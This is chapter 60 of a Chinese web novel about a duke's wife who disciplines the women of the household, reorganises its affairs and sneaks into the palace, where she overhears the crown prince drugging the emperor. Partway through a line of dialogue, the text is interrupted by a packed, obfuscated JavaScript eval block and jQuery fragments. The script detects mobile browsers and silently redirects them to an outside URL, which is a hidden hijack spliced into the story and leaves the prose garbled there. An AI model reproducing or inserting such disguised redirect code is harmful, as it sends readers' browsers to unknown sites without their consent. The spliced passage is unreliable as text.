60. 第60章

作品:《为姐姐嫁给国公爷后

    年知秋走到明华堂的主位上坐下,一甩衣袖,在位置上端坐下来。


    后宅中的一众夫人,姨娘跟着进来,在年知秋主位的两旁侧位坐下,她们看着坐在主位的年知秋眉眼凌厉,气势骇人,一想到刚才她是如何震慑众人将大夫人拖回寿安堂。


    顿时内心有些忐忑,你看看我,我看看你,谁也不敢先开口说话。


    唯有三房夫人王氏气焰高涨,丝毫不把年知秋放在眼中,年氏年纪轻轻不知天高地厚,她以为高门大户是她想做什么就做什么的吗?


    不过是端着一副唬人的架子,这些人还真以为她年氏有什么本事。


    她可不是那么好唬住的!


    王氏坐拍案而起,神情刻薄,眼神轻蔑地落在年知秋身上,“年氏!谁给你的胆子这么做!你陷害你大嫂,禁锢婆母,还妄想管理整个后院,你是真不怕人在做,天在看,一道天雷把你劈死!”


    王氏越说情绪越高涨,愤怒地脸色都有些扭曲,一副要伸张正义将年知秋绳之以法的架势。


    她不信年知秋有天大的本事管理后院,这后院终归是大夫人的天下,她要是立功,大夫人必定赏识她,还容得江初怡那小狐媚子天天来恶心她!


    “年氏,你最好现在就去寿安堂下跪求大夫人宽恕,不然你这个国公夫人怕也是做到头!”


    王氏越说越觉得自己架子大,底气足。


    众人因为王氏说的话拘谨忐忑消失的一干二净。


    她们是后宅中的长辈,年知秋再怎么端国公夫人的架子也得给她们几分颜面,就她这副狂傲姿态还想掌管后宅,也得看她们同不同意。


    个个登时挺直腰板,端着长辈的架子说三道四,只差没把手指戳到年知秋的脑门上。


    “掌整个后院跟管理整个国公府的厨房可不一样,你得管全府上下的小厮丫鬟,还要顾及我们整个后院里的人,这一件件一桩桩的打点,哪个不需要费心耗神,你当跟吃饭一样那么简单!”


    “你还蛮横无理,有你这么当人儿媳的吗?”


    “年氏,你这事做得不对,传出去别人是要笑掉大牙的。”


    “我们觉得你还没有资格掌管后院!”


    ……


    年知秋身体懒懒地靠在主位的扶摇上,垂着眼睫听着她们的议论,见她们这一群人恨不得直接压到她头上。


    面无表情,情绪无波。


    江澜序在宫里情况不知,府中谢淑君和李时珠相方设法对付她,后宅中住着一群豺狼虎豹,她们的世界中只有后宅那么一小片天地。


    简直不知该如何叹息!


    这后宅绝对不能再这样下去。


    她要震慑,整顿,镇国公府的后宅绝对不能成为拖垮她跟江澜序的绊脚石。


    “王氏不敬主母,掌她二十巴掌。”


    年知秋的话一出,明华堂那些吵吵嚷嚷的声音如同潮水一般瞬间退却,静若落针可闻。


    她神情冷漠地看着众人。


    年知秋身边的小厮上前将王氏的胳膊抓住拉到明华堂正中央,王氏气得全身发抖,奋力挣扎,叫嚣道:“年氏!你敢这样做?你敢这样对我试试,就算你是主母,你也没有资格打我!”


    年知秋伸着手指揉着自己的额角,不为她的话动容。


    王氏根本不知道自己面对的哪是镇国公府的一个小小主母,她面对的是曾在边疆叱咤风云的女霸王。冰冷锋利的刀刃,野兽锐利的獠牙,滚热喷涌的鲜血都不会使年知秋胆怯退缩。


    更遑论她白牙里吐出的几句妄语。


    小梅熟门熟路地挽了挽衣袖,走上前,在王氏的脸上利落抽下一个巴掌。


    她们夫人说了,对敌人手软就是对自己心狠。


    “啪!”的一声脆响,王氏懵了,似没有想到年知秋真敢叫她的丫鬟下如此重手。


    整个明华堂静得那巴掌声回响不绝。


    年知秋心中一阵舒爽,对,就是这个节奏,之前还费那心神合计来算计去,累死人。她是主母,整个国公府的后院就应该她说什么是什么,不听话的就这样揍一顿,比任何阴谋诡计更简单,更费力,更省心。


    见众人呆坐在椅子上,安静老实,她开始大刀阔斧地整改后院。


    “你们都说完了,那轮到你们听我说说话。”


    “那就从三房开始。”


    “三房下面的那几个庶女婚事全部作废,不止是三房,其他院中不管是嫡女还是庶出,谈论婚事都要交由我过目。男子在书院的功课按照夫子要求,不合格者扣除各院中的月钱都扣除一半,如有逛花楼,喝酒,闹事,无故打杀下人,按照严重程度重罚。希望各院的夫人都管教好各自的孩子,别闹出事情来。


    这是一点,第二点,各院名下的田庄店铺属于国公府产业,每月田庄和铺子的营收和问题需来明华堂向我禀告,各项支出需事无巨细,铺子和田庄上的重大事情需找我商议拿注意。把这两点做到应该是很简单的事情。大家应该没有什么问题。”


    “……”


    什么叫做到这两点是很简单的事情。


    先前大夫人根本不管她们各房各院管教孩子的事情,各院的情况可没比三房好到哪里去,院中的夫人恨姨娘恨得死死的,不找事添堵就算了,根本不重视孩子的教育,姨娘们只一味溺爱自己的孩子,如珠如宝地护着,不少孩子性子养得刁蛮。至于庶女,那更惨,那些夫人好像就是为跟姨娘作对似的,挑选的婚事怎么差怎么挑,直接把女孩送过去给别人折磨。


    再论各院名下的铺子和田庄,大夫人为显示自己的仁慈,让这些后院的女人敬着自己,很大一部分不过问铺子田庄的经营状况,以至于各院都觉得铺子和田庄都是他们自己的产业,想怎么做就怎么做,一通乌烟瘴气。


    年知秋从管理国公府的后厨这件事就推测着这里面的情况,早就想好好肃整一下这些人。


    王氏从火辣辣的脸颊上回过神就听到年知秋这一番话。


    要她放过那些贱人生的庶女?不可能!


    店铺田庄几乎是她们三房全部的营收,年知秋这番操作岂不是让她们再也不能过上滋润的日子吗?


    她怎么可能甘心!


    “你!你没有权力决定这一切!只有大夫人有资格决定这一切,你休要作威作福!”


    年知秋眉头一皱,对小梅说道:“你停下来干什么,继续掌嘴,还有力气说话再加十个。”


    “哦!”小梅尴尬地挠挠头,听夫人说话听得太入迷忘记给别人掌嘴。


    小梅搓搓手掌心,抬手往自己的掌心各自哈两口气,又“啪”的一声扇到王氏脸上。


    王氏的声音戛然而止。


    看得在场的众人都身体颤颤,再也没有先前的气势。


    在“啪啪啪”的巴掌声中,年知秋勾了勾唇,尽量让自己显得和气些,“各位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391993|192611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夫人和姨娘还有意见吗?趁着大家聚在一起提出来一起解决,我这边什么都好商量。”


    “……”


    光听着王氏脸上的巴掌声,不要说张嘴,连呼吸都有些困难。


    当年知秋目光扫过来的时候,大家都只敢摇晃脑袋。


    她等一会没人说话,年知秋坐直身体,“大家都不说话那就当是大伙儿一起同意了,现在就回去整顿各院吧。”


    整了整衣襟,年知秋在一众夫人姨娘们的咬牙切齿中迈步离开明华堂,小梅打完人也连忙跟上年知秋的脚步。


    回到水榭居继续准备着夜探皇宫的事情,穿好夜行衣,检查好身上带着的暗器啊是否齐全,最后蒙上面巾,确认万无一失。


    年知秋推开窗户,再回头检查房间内的环境,确认一整晚不回来也不会有人发现才从窗户跳出去。


    刚踩到地面上,准备翻墙,一抬头发现墙头坐着个人影。


    年知秋皱眉看着她,芝息问道:“夫人打算去哪里?”


    “你想拦我?”


    “得国公爷的命令,我要护夫人安全。”


    这次是认真的。


    年知秋无视她,准备跳上墙头,芝息起身立在墙头上。


    “那你跟我一起进宫找他。”年知秋无奈地说道。


    芝息听这话,差点没有腿脚一滑,从墙头跌落,“夫人,夜闯皇宫可是杀头的大罪,我就是有九个脑袋都不够砍啊!”


    “那你让开,我一个人去。”


    “那也不成,您出事,国公爷也不会放过我,我小命难保。”


    见谈不拢也不再跟她浪费时间,年知秋袖口甩出一把旋镖,直往芝息的面门而去。


    芝息连忙闪身避让,险险躲过迎面而来的旋镖,等再次抬起头,年知秋的身影已经消失在原地。


    “……”


    年知秋寻到皇帝的住所,融在黑暗中,在屋脊上慢慢地行走。


    只见皇宫的甬道上有小太监和小宫女来来往往,皇帝所在的承明殿有守卫,四周有禁卫军巡视换岗。


    挑个好位置,年知秋蹲下身体,听见承明殿有说话声传出来。


    以为屋内是皇帝和江澜序。


    却听得皇帝喝斥道:“放肆!你这个逆子!你想干什么!”


    紧接着太子宋江均的声音跟着传出来,“父皇,你年迈了,您该好好享享清福。”


    皇帝的声音虚弱又愤怒,“你是太子,朕可有一天薄待于你,你为什么要做这种事情,你敢给朕下药,还换掉朕身边的人,你想干什么,朕从没有想过将储君之位传给其他人!”


    “父皇,你对儿臣很好,儿臣也想尽孝,让父皇早点享清福,早日为父皇分忧。”


    “……”


    “……”


    不仅皇帝沉默,连同在屋顶上偷听的年知秋都沉默。


    好大一个孝子,孝出强大!


    年知秋暗自琢磨,假太子这是对皇帝下手,怪不得她感觉承明殿四周的守卫变多,原来不是她的错觉。


    那江澜序去哪里?果然是太子搞得鬼!


    皇帝估计没有什么力气,没在听见皇帝愤怒的声音,宋江均的声音幽幽响起来,“父皇,夜深了,你好好休息,儿臣明日再来看你。”


    年知秋只见宋江均从承明殿迈步出来,跟在他身边的小太监连忙将房门关紧,她急忙起身,朝宋江均离开的方向追上去。